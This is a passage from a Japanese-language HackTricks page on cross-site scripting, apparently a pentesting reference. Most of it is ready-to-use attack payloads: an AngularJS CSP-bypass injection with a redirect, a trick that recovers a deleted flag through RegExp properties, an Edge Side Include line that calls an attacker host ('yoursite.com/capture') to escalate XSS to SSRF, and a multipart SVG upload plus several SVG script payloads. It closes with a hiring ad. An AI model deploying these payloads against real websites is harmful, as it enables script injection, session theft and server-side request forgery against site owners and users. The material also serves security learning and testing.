"><script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.1/angular.js"></script>
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.1/angular.min.js"></script>
<!-- ... add more CDNs, you'll get WARNING: Tried to load angular more than once if multiple load. but that does not matter you'll get a HTTP interaction/exfiltration :-]... -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>

正規表現 - 隠されたコンテンツへのアクセス

この解説 から、一部の値がJSから消えても、異なるオブジェクトのJS属性にそれらを見つけることができることがわかります。たとえば、正規表現の入力が削除された後でも、その入力の値を見つけることができます。

// Do regex with flag
flag="CTF{FLAG}"
re=/./g
re.test(flag);

// Remove flag value, nobody will be able to get it, right?
flag=""

// Access previous regex input
console.log(RegExp.input)
console.log(RegExp.rightContext)
console.log(document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightContext"])

ブルートフォースリスト

{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss.txt" %}

他の脆弱性を悪用したXSS

マークダウン内のXSS

レンダリングされるマークダウンコードを挿入できますかXSSを取得できるかもしれません次を確認してください

{% content-ref url="xss-in-markdown.md" %} xss-in-markdown.md {% endcontent-ref %}

XSSからSSRFへ

キャッシュを使用するサイトでXSSを取得しましたかこのペイロードを使用してEdge Side Include Injectionを介してそれをSSRFにアップグレードしてみてください

<esi:include src="http://yoursite.com/capture" />

Cookieの制限、XSSフィルターなどをバイパスするために使用できます
この技術に関する詳細はこちら:XSLT

動的に作成されたPDF内のXSS

Webページがユーザーが制御する入力を使用してPDFを作成している場合、PDFを作成しているボットをだますことができます。
したがって、PDF作成ボットがいくつかの種類のHTML タグを見つけると、それらを解釈し、この動作を悪用してサーバーXSSを引き起こすことができます。

{% content-ref url="server-side-xss-dynamic-pdf.md" %} server-side-xss-dynamic-pdf.md {% endcontent-ref %}

HTMLタグをインジェクトできない場合は、PDFデータをインジェクトしてみる価値があります:

{% content-ref url="pdf-injection.md" %} pdf-injection.md {% endcontent-ref %}

Amp4Email内のXSS

AMPは、モバイルデバイスでのWebページのパフォーマンスを向上させることを目的としており、速度とセキュリティに重点を置いた機能を確保するためにJavaScriptで補完されたHTMLタグを組み込んでいます。さまざまな機能のためのコンポーネントをサポートし、AMPコンポーネントを介してアクセスできます。

AMP for Email形式は、特定のAMPコンポーネントを電子メールに拡張し、受信者が電子メール内でコンテンツと直接やり取りできるようにします。

例:Gmail内のAmp4EmailのXSSに関する解説

ファイルのアップロードにおけるXSSsvg

次のようなファイルを画像としてアップロードします(http://ghostlulz.com/xss-svg/から):

Content-Type: multipart/form-data; boundary=---------------------------232181429808
Content-Length: 574
-----------------------------232181429808
Content-Disposition: form-data; name="img"; filename="img.svg"
Content-Type: image/svg+xml

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<rect width="300" height="100" style="fill:rgb(0,0,255);stroke-width:3;stroke:rgb(0,0,0)" />
<script type="text/javascript">
alert(1);
</script>
</svg>
-----------------------------232181429808--
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<script type="text/javascript">alert("XSS")</script>
</svg>
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
<script type="text/javascript">
alert("XSS");
</script>
</svg>
<svg width="500" height="500"
xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>

<foreignObject width="500" height="500">
<iframe xmlns="http://www.w3.org/1999/xhtml" src="data:text/html,&lt;body&gt;&lt;script&gt;document.body.style.background=&quot;red&quot;&lt;/script&gt;hi&lt;/body&gt;" width="400" height="250"/>
<iframe xmlns="http://www.w3.org/1999/xhtml" src="javascript:document.write('hi');" width="400" height="250"/>
</foreignObject>
</svg>
<svg><use href="//portswigger-labs.net/use_element/upload.php#x"/></svg>
<svg><use href="data:image/svg+xml,&lt;svg id='x' xmlns='http://www.w3.org/2000/svg' &gt;&lt;image href='1' onerror='alert(1)' /&gt;&lt;/svg&gt;#x" />

https://github.com/allanlw/svg-cheatsheetさらにSVGペイロードを見つける

その他のJSトリック関連情報

{% content-ref url="other-js-tricks.md" %} other-js-tricks.md {% endcontent-ref %}

XSSリソース

ハッキングキャリアに興味がある方や、解読不能なものをハックしたい方 - 採用中です!流暢なポーランド語の読み書きが必要です)。

{% embed url="https://www.stmcyber.com/careers" %}

**htARTEHackTricks AWS Red Team Expert**で**ゼロからヒーローまでのAWSハッキングを学ぶ**

HackTricksをサポートする他の方法